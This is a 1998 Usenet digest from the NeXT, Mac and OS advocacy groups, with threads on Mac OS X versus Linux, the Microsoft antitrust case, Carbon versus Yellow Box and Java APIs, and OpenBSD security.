-> In <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> Jason S. claimed:
-> > Some of us chose other alternatives to MacOS (like Linux). And I have
-> > no particular desire to switch to the RDF OS du jour, whether it's
-> > Rhapsody or MacOS X or whatever.
->
-> Fair enough, but I rest easy in the knowledge that OS-X should be in
every
-> way better than Linux...
->
-> a) better file system (4.4's stackable drivers)
-> b) better networking
-> c) better kernel that doesn't need compiles
Actually, when it comes to the core OS, Linux isn't too shabby. It's already
the most securable UNIX there is, and while I like having a kernal loader, I
can see the security argument against it. If I can compile and checksum the
kernal, and run tripwire to warn me if someone changes it, that's mush more
secureable than a kernal that might load a cracker's code silently. Linux
also wins on performance, at the core OS level.
-> d) better GUI
-> e) better (existing) object layer
-> f) real application list
-> g) I get to run all my Mac software too
On these, I concur.
-> You can be pissed off at Apple, or you can be happy about it. Don't let
-> your pride swing you to the wrong side.
Heck, we NeXT hackers didn't get bent out of shape over the name change
("Rhapsody" isn't all *that* cool. Mac OS X is just fine.) There was also a
surprisingly small hue and cry over the loss of our beloved DPS interpreter.
I guess we mostly figured that if Andy Stone could live with it, so could the
rest of us.
-jcr
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 09 Jun 1998 21:23:59 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <357DEE3F.5672@CONVEX.COM>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com>
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T. Max Devlin wrote:
> >The case itself is about "tying", a purportedly illegal practice
> >involving the requirement of one product to be sold with another. The
> >crux of the case is that Microsoft, in tying Internet Explorer to the
> >Windows operating system, has leveraged *vendor dependence* on Windows
> >into successful market endeavors with regard to Internet Explorer.
>
> No, that was the contempt charge in reference to the consent decree.
> While that is an issue, it is hardly the "crux" of the case. The crux
> of the case is that Microsoft is a monopolistic monstrosity which
> restrains trade and impeded both competition and innovation by doing so.
Obviously not, or millions of domestic businesses would be subject to
similar litigation on the basis of business practices performed daily in
public view. The crux of the case is that Microsoft's practices have
somehow transgressed an invisible line left up to the determination of
the sitting administration.
The extent to which Microsoft transgresses this line, as elucidated in
the DoJ briefing, places Microsoft in a very impressive and
broadly-realized position in the computer industry. Thereupon rests the
great contradiction originally described by KAZ Vorpal.
> >Please post the parts of the Sherman Anti-Trust act prohibiting the
> >destruction of competition.
>
> "restraint of trade is illegal". Well, OK, I admit, it is not an exact
> quote, but it is the text (not just the jist) of the basic statute.
Gist nothing. Gist has little to do with litigation, Mr. Devlin.
Restraint of trade may well be illegal, but 'destruction of competition'
is not the same thing.
> I
> imagine that you will fail to see how destroying the competition is
> restraint of trade.
You are so prescient.
> Then again, you fail to see a lot of things.
Truly, truly. Please do your best to explain. Or perhaps you could leave
it up to the Logic Professor. Either of you can serve capably, I am
sure.
> >Please post the parts of Microsoft's Company Statement regarding a
> >mission to 'destroy competition'.
>
> "cut off their air supply", "we just want our fair market share, and our
> fair market share is 110%", "Windows everywhere", et. al,
>
> Sorry, I don't have pointers; check one of the news archives and search
> for 'Microsoft'. Have fun.
Fair enough, if somewhat misappropriated.
> Oh, but we _can_ argue alone on the merits of Navigator as a separate
> app, regardless of the effect of integrating IE into Windows.
You're free to argue whatever you like. I don't have to believe it's a
valid argument (nor does the buying public, which did not elect the
Justice Department).
> IE cannot
> possibly be a superior product, precisely because of the way Microsoft
> "sells" it.
You can't have meant this.
> A general purpose personal computer requires a firm
> distinction between OS and apps,
Your subjective opinion, of course...
> or else it becomes a special-purpose
> computer.
*More* subjective opinion?! This is supposed to be a rebuttal, Max.
> And nobody wants that, eh?
Icing on the cake. Now that you've given vent to your opinions, I'm sure
you want to follow up with a point.
> The industry thrives with competition.
True.
> Microsoft's monopoly suppresses or prevents competition.
Microsoft's business *is* competition. Very successful competition.
> Hurting Microsoft is therefore good for the industry.
>
> Somehow, I don't think that's what you wanted to hear.
Oh, don't worry. My ears are numb with the clanging of such liberal
trash every time I turn around. It's rather a popular doctrine , don't
you know (not to mention a loudly- and brashly-proclaimed one).
> >Let me help you. Start with 'Assertion: ...', then proceed from there.
> >You know the drill, Professor. Come on.
>
> Screw off, troll. He was right; you haven't made a single logical point
> in the whole discussion. You just keep sniping, and contradicting, and
> saying "so that means you", just like all the other trolls.
Suit yourself. :-)
MJP
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 01:24:34 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3592b27c.6120162@news.supernews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Mon, 08 Jun 1998 23:41:51
+0000,
>Larry Pyeatt wrote:
>
>> That is patently untrue. Vendor *dependence* on Microsoft is part
>> of the case, but certainly not the crux. The case is about
>> MS leveraging its OS monopoly to destroy competition. Please read the
>> DOJ case and come back when you understand it. Here is a bit of
>> relevant text to get you started:
>
>The case itself is about "tying", a purportedly illegal practice
>involving the requirement of one product to be sold with another. The
>crux of the case is that Microsoft, in tying Internet Explorer to the
>Windows operating system, has leveraged *vendor dependence* on Windows
>into successful market endeavors with regard to Internet Explorer.
No, that was the contempt charge in reference to the consent decree.
While that is an issue, it is hardly the "crux" of the case. The crux
of the case is that Microsoft is a monopolistic monstrosity which
restrains trade and impeded both competition and innovation by doing so.
>Please post the parts of the Sherman Anti-Trust act prohibiting the
>destruction of competition.
"restraint of trade is illegal". Well, OK, I admit, it is not an exact
quote, but it is the text (not just the jist) of the basic statute. I
imagine that you will fail to see how destroying the competition is
restraint of trade. Then again, you fail to see a lot of things.
>Please post the parts of Microsoft's Company Statement regarding a
>mission to 'destroy competition'.
"cut off their air supply", "we just want our fair market share, and our
fair market share is 110%", "Windows everywhere", et. al,
Sorry, I don't have pointers; check one of the news archives and search
for 'Microsoft'. Have fun.
>If I.E.'s integration with the Windows operating system is an advantage
>(apparently it is), then you cannot argue alone on the merits of
>Netscape Navigator as a standalone product. I.E. may well be superior
>product precisely because of the way Microsoft sells it.
Oh, but we _can_ argue alone on the merits of Navigator as a separate
app, regardless of the effect of integrating IE into Windows. IE cannot
possibly be a superior product, precisely because of the way Microsoft
"sells" it. A general purpose personal computer requires a firm
distinction between OS and apps, or else it becomes a special-purpose
computer. And nobody wants that, eh?
[...]
>No, that's precisely the problem. You keep peppering irrelevant and
>scattered commentary with sophomoric remarks on my ability to follow
>logic. No 'logic' is forthcoming from you, however. Would you step me
>through a proof of your prediction that 'hurting' Microsoft is
>beneficial to the computer industry?
The industry thrives with competition.
Microsoft's monopoly suppresses or prevents competition.
Hurting Microsoft is therefore good for the industry.
Somehow, I don't think that's what you wanted to hear.
>Let me help you. Start with 'Assertion: ...', then proceed from there.
>You know the drill, Professor. Come on.
Screw off, troll. He was right; you haven't made a single logical point
in the whole discussion. You just keep sniping, and contradicting, and
saying "so that means you", just like all the other trolls.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 01:24:32 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3591af5a.5318472@news.supernews.com>
References: <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Mon, 08 Jun 1998 10:28:46
>[...] The very crux of the DoJ case has
>been that Microsoft's illegal behavior hinges on vendor *dependence* on
>Microsoft, not on unilateral suffering *because* of Microsoft. Microsoft
>cannot be characterized as a "bully", except where its competitors are
>also characterized as "bullies" (e.g. Apple, who "bullied" cloners into
>severe market losses: Motorola $93 million, Umax $1.1 billion).
I don't understand where you got this argument. Anti-trust has nothing
to do with benefits or losses to other businesses directly. Restraint
of trade is illegal because it harms "the market", not the people
selling things in the market (though some may get hurt, the damage done
by monopolies is really done to the consumer).
Why do you think this case hinges on dependance _or_ suffering of
computer OEMs?
>> That is not the ONLY way. MS is hurting the industry by killing
>> off all competition and discouraging competitition and innovation.
>> Hurting MS may allow other companies to survive and bring back
>> competition.
>
>Outperforming Microsoft may accomplish the same thing. Unfortunately,
>Microsoft's competitors have done nothing of the kind. To "hurt" MS
>would be to push consumers toward inferior competitors.
Outperforming Microsoft when Microsoft has an 85% market share is not a
matter of "competing". Your argument assumes that anti-trust is not
valid law, so your opinion on the case is hardly based on a desire for
justice, one way or the other.
>
>> 1) False dichotomy.
>
>Eh?
That means you presented an "either/or" argument that wasn't validly
"either nor or".
>
>> 2) It is MS's claim that the industry will be harmed. I personally
>> think they are wrong on that one, at least in the long term.
>
>"Long term"? A qualifier that is not germane to the claim in the first
>place. That you claim to predict the "long term" in the computer
>industry is hilarious.
This is a troll. I don't know if you have a valid point here, but if
you disagree, a cogent argument, not ridicule, is what is called for.
And I also don't see why the qualifier "long term" is not germane to the
claim that convicting Microsoft would hurt the industry.
>> > Either everyone is "unfairly" too dependent on Microsoft, and
>> > will be harmed, or they are NOT unfairly dependent, and so
>> > prosecuting them is wrong.
>>
>> False dichotomy. There is also the possibility that everyone is
>> "unfairly" being put out of business by MS using its OS monopoly.
>
>"Put out of business"? Name these companies who are being "put out of
>business". Netscape? Sun Microsystems? Apple Computer? Demonstrate that
>any of the above are being "put out of business" by Microsoft.
If you had heard of them, they wouldn't be out of business. ;-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 19:39:01 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-0906981939020001@user-38ld6dj.dialup.mindspring.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com>
In article <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>
> Nah... don't need to. Carbon runs only on TOP of YellowBox (YB) API's.
> There's no YB in 8.5, 8.6 and 9.0.
This is completely untrue. Carbon runs directly on the MacOS X core OS.
-mark
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 22:07:16 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357DB214.61F68493@nstar.net>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <357DA1EF.3BF4863A@nstar.net> <rmcassid-0906981430270001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> And that is fine, but I'm concerned that Apple is at the top of a slippery
> slope by apparently giving Carbon all the focus for new development. How
> many of the new APIs announced by Apple are targetted at YB? None that I
> can be sure of. But most of them will run on OS 8/9 and so I presume
> Carbon.
They're all new APIs, exactly, and they're probably intended for
temporary purposes. Like QDe, for instance. Does it have any staying
power? I doubt it. It may be that MacOS developers are doomed to spend
the next 3-5 years hopping from one spec to another, just because of the
situation Apple is in.
> If I adopt YB, will I have access to them, or do I have to wait 3-5 years
> before version 2.0 of those APIs arrive for YB access?
I can't possibly say. If Apple has a plan to merge the new APIs into YB
(which I would find odd) then it's got to be years away.
[cut]
> Factoring migration issues, then I agree with you. Yes. If the goal is to
> get people to use it (of course it is) then I suppose it is nearly
> perfect.
Yeah, that's what I meant to say.
> But do they deliver in the end. I mean, a well architected API is fine,
> but if it doesn't provide the services needed to build a full-featured
> app, then it just doesn't matter. In that way, they aren't there yet. I
> need to be able to build an app in Java and have it coming out with the
> same kind of polish that a MacOS app would. MacOS apps tend to have
> wonderful polish, but crappy architecture. Java, just the opposite.
> Windows apps suck both ways. YB seem to deliver the whole package. Java is
> the most promising of Java/MacOS/Windows, if only becuase it is on the
> right path, just not yet far enough along it.
All true. I wish I had more direct work under my belt with regard to the
newer Java APIs. I've looked at nearly all of them but have done almost
nothing, to date. I can't say whether they deliver much polish,
although, as you say, the architecture is clean and robust.
Traditionally (inasmuch as Java has a tradition), Java's delivery has
lacked polish, as you say. Sun has demonstrated that it recognizes this;
as I say, I can't judge the results of their efforts. However, I do know
that Java's target is Windows. If anything can be expected from Java, it
is "polish" inasmuch as Windows has "polish". I don't think that Windows
lacks grace altogether. There is much that is good that can be said of
it.
[cut]
> >My solution: adopt the Java APIs as the basic API for MacOS X. Now spend
> >the next five years moving toward the Rhapsody target, improving
> >everything in Java that's lacking by comparison.
>
> So basically hunk out the overlap between YB and the Java APIs and graft
> what is left in YB onto Java? Then port it everywhere.
Right, exactly.
> Sounds good to me. Where do I sign up?
>
> >I still believe, as I did 9 months ago, that selling the company to Sun
> >is the best way to see this happen. That's just my opinion.
>
> That depends on whether Sun sees things the same way that you do. They may
> not...
MJP hasn't the slightest idea. It's a dream.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 09 Jun 1998 21:11:48 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <357DEB64.6B62@CONVEX.COM>
References: <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com>
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T. Max Devlin wrote:
> I don't understand where you got this argument. Anti-trust has nothing
> to do with benefits or losses to other businesses directly.
Really? The DoJ briefing seems to indicate otherwise.
> Restraint
> of trade is illegal because it harms "the market", not the people
> selling things in the market (though some may get hurt, the damage done
> by monopolies is really done to the consumer).
The consumer who is getting free software 'tied' to something they would
buy anyway? The consumer who now has access to not only a free Netscape
Navigator (which was ~$50 previously), but also to the source code?
It seems to me that the increased *competition* engendered by
Microsoft's bold market moves is doing nothing but increasing the
options available to the consumer, and lowering prices.
> Why do you think this case hinges on dependance _or_ suffering of
> computer OEMs?
I can't figure out what you're asking.
> Outperforming Microsoft when Microsoft has an 85% market share is not a
> matter of "competing".
So what was it when Netscape had an 85% market share?
[cough] double standard [cough]
> Your argument assumes that anti-trust is not
> valid law, so your opinion on the case is hardly based on a desire for
> justice, one way or the other.
"Man cannot invent principle, he can only discover them." -- Thomas
Paine
If you think that justice is served on the basis of legislation, I
invite you to review the Jim Crow laws.
Draw your own conclusions.
> That means you presented an "either/or" argument that wasn't validly
> "either nor or".
Sure it does. Mr. Pyeatt hasn't yet described what is falsely
dichotomous about the poster's remarks.
> >"Long term"? A qualifier that is not germane to the claim in the first
> >place. That you claim to predict the "long term" in the computer
> >industry is hilarious.
>
> This is a troll. I don't know if you have a valid point here, but if
> you disagree, a cogent argument, not ridicule, is what is called for.
> And I also don't see why the qualifier "long term" is not germane to the
> claim that convicting Microsoft would hurt the industry.
Huh? I'm either pregnant, or I'm not pregnant, Mr. Devlin. I'm not
"pregnant in the long term" or "pregnant in the short term", now, am I?
> >"Put out of business"? Name these companies who are being "put out of
> >business". Netscape? Sun Microsystems? Apple Computer? Demonstrate that
> >any of the above are being "put out of business" by Microsoft.
>
> If you had heard of them, they wouldn't be out of business. ;-)
I'm sure you didn't mean that. One could infer a great deal from such a
statement.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: cancel <357DB380.E3709032@nstar.net>
Control: cancel <357DB380.E3709032@nstar.net>
Date: Tue, 09 Jun 1998 22:13:59 +0000
Organization: ISPNews http://ispnews.com
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From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Tue, 09 Jun 1998 15:11:31 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906981511310001@dante.eng.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com>
In article <slrn6nrbv9.1po.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>On Tue, 09 Jun 1998 12:39:54 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>I think it is pretty clear that Apple wants to cash in on the Java buzz, and
>sell YB as a mature framework for Java development, while keeping 100% pure
>Java in the box.
That's a great plan, but I'm getting signals that Apple isn't really doing
that. I've been through a bunch of the slides and videos from WWDC and I
still don't see any indication that new APIs will be available to YB or
Java. The suggestion is always Carbon. Now WWDC does address the MacOS 8/9
crowd, and the Carbon crowd as well, so it could be that they simply
didn't want people to think that the new APIs favor YB over Carbon, but it
leaves me to think that they favor Carbon over YB instead. I guess I'm
going through the same kind of Rhapsody is dead/YB is dead thing that
everyone else did at the start of WWDC brought on by a lack of commitment
by Apple. Maybe I'm just slow...
>>Java as API: pretty bad.
>
>I would not call it bad. I would call it immature.
Yeah, that's a better term.
>>Java as OS: I don't think so.
>
>A JVM is pretty close to an OS as is. I fail to see why a JVM can not run on
>raw hardware (with some extensions for MMU, device drivers and other raw
>hardware issues)
Because that is not what an OS is any more (at least in the markets that I
think of). An OS is now also a collection of services. That takes time to
build up. If you are looking for an OS for a cuisinart, then yeah, I
suppose Java has all that it needs :-)
-Bob Cassidy
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 9 Jun 1998 22:37:52 GMT
Organization: echonyc.com
Message-ID: <slrn6nrefh.on8.ben@ben.tapehouse.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com> <SCOTT.98Jun5112748@slave.doubleu.com> <6l97qi$6ue$2@ns3.vrx.net> <SCOTT.98Jun7234604@slave.doubleu.com> <6ljai9$jfl$1@ns3.vrx.net> <slrn6nr6dj.ntc.ben@ben.tapehouse.net> <6ljoi4$24g$2@ns3.vrx.net>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <6ljoi4$24g$2@ns3.vrx.net>, Maury Markowitz wrote:
>In <slrn6nr6dj.ntc.ben@ben.tapehouse.net> Ben Rosengart claimed:
>> Isn't OSF/1 Mach-based? Is that BSD?
>
> The _latest_ versions of OFS/1 are indeed Mk with a BSD emulator (4.4 I
>believe).
Hmm, in private mail I'm told that OSF/1 is SVR4ish. Not having used it,
I am at your collective mercy. Which is it?
--
Ben
"You have your mind on computers, it seems."
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 01:26:12 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6lknbk$5rp$1@supernews.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<357d3c47.0@206.25.228.5> <slrn6nqsvm.ntc.ben@ben.tapehouse.net>
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Cc: ben@ben.tapehouse.net
Ben Rosengart may or may not have said:
-> In article <357d3c47.0@206.25.228.5>, John Kheit wrote:
-> >
-> >I think the problem most people have with the vast majority of NeXT
-> >people is they are really reasonable and right the great majority of the
-> >time;
->
-> One way I like to measure a user group is by how they treat their least
-> knowledgeable members. Judging by the posts in comp.sys.next.{hardware,
-> sysadmin,software}, NeXT users are friendly, helpful people, or at least
-> the ones who post are.
I think you'll find that most NeXT developers and sysadmins are very happy to
help anyone who doesn't know something and wants to find out.
Speaking for myself, however, I admit to getting very irritated by people who
bitch and moan about the difficulty of giving up the way they always did
things before. It was a shock to me, all those years ago, when I discovered
that the Mac developers at JP Morgan were the conservatives. They didn't
care if NeXT was better, they *liked* knowing and working around every bug
and quirk of the Mac toolbox.
-jcr
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 04:12:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ns1tu.qvl.sal@panix3.panix.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> <6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com> <6lkri9$dj5$1@crib.corepower.com>
On 9 Jun 1998 22:38:01 -0400, Nathan Urban <nurban@crib.corepower.com> wrote:
>I think that OpenBSD would likely give Linux quite a run for its money in
>the security area. It's been through an extensive professional security
>audit.
Isn't the l0pht Web site running on OpenBSD? If that isn't a ringing
endorsement of OpenBSD's security, I don't know what is.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology (was Re: Java Java Java)
Date: 10 Jun 1998 04:30:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ns2uu.qvl.sal@panix3.panix.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu>
On Tue, 09 Jun 1998 15:24:42 -0700, Eric Hermanson <eric@alum.mit.edu> wrote:
>Salvatore Denaro wrote:
>> A JVM is pretty close to an OS as is. I fail to see why a JVM can not run on
>> raw hardware (with some extensions for MMU, device drivers and other raw
>> hardware issues)
>The reason it cannot be a separate OS is because it is completely immature, and
>it would be like reverting back to Windows 1.0.
Very good point. In another post I mentioned that (IMHO) Java's APIs are
immature. But there is no reason why they have to stay that way.
>Now everyone and their brother is trying to advance Java to the point of
>OpenStep 4.0 instead of just using what's already available.
True. The major difference is that Java gets more press in a slow news day
than OpenStep got in it's entire life.
>Well, maybe we'll all get lucky so that by 2003 Java will be at least as mature
>as OpenStep 3.0 was. Unless, or course, something else comes along to revert us
>back 10 years.
This has been going on in X11 land for the decade. :) Pick a toolkit, get it
75% done, then dump it and move on to the next widget set. That's why after
all this time X still lacks anything close to IB+AppKit for GUIs.
I hope this isn't going to happen to Java.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 10 Jun 1998 04:24:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ns2jt.qvl.sal@panix3.panix.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu>
On Tue, 09 Jun 1998 15:11:31 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>That's a great plan, but I'm getting signals that Apple isn't really doing
>that. I've been through a bunch of the slides and videos from WWDC and I
>still don't see any indication that new APIs will be available to YB or
>Java.
What APIs? Anything being ported over from MacOS will be in Carbon. Over
time OO APIs will be added. An Apple person posted on the Rhapsody dev
mailing list and stated that pretty clearly.
>>>Java as OS: I don't think so.
>>A JVM is pretty close to an OS as is. I fail to see why a JVM can not run on
>>raw hardware (with some extensions for MMU, device drivers and other raw
>>hardware issues)
>Because that is not what an OS is any more (at least in the markets that I
>think of). An OS is now also a collection of services.
And why can't those services be done in Java? There are Java web servers.
I've seen a Java based SQL database (slow and buggy, but it did parse SQL-92
well enough to convince me)
I would like to see a $50 network computer that is as to use as a TV remote.
If JavaOS makes it doable, then more power to them.
>If you are looking for an OS for a cuisinart, then yeah, I
>suppose Java has all that it needs :-)
Why not? Why shouldn't my cuisinart have it's own IP addr? :)
--
sal@panix.com
Salvatore Denaro
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 02:44:32 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd9419$a1ba5b40$100ba8c0@voodoo2>
References: <6lk75t$afl@newsb.netnews.att.com>
NNTP-Posting-Date: 10 Jun 1998 02:44:32 GMT
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in article
<6lk75t$afl@newsb.netnews.att.com>...
>
> Analysts at GigaWorld say skip NT 5.0
>
> Quote :
> With 30 million lines of code, 85 percent of which is new,
> Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> director of desktop and mobile technology at Giga....
What is GigaWorld?
"likely to be buggy"? At least they could try the Beta and get a real idea
if it is buggy or not, before they start quoting how buggy it is.
From: rmcassid@uci.edu (Robert Cassidy)
